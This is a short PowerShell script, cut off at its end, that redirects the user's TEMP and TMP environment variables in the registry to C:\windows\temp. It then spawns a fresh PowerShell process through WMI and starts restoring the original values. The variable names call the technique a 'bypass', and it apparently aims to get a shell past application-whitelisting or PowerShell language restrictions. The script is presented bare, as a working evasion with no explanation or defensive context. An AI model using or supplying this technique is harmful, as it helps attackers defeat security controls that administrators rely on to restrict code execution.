$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:\windows\temp"
$TMPBypassPath = "C:\windows\temp"

Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"

Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "Powershell.exe"
sleep 5

#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value $Cur...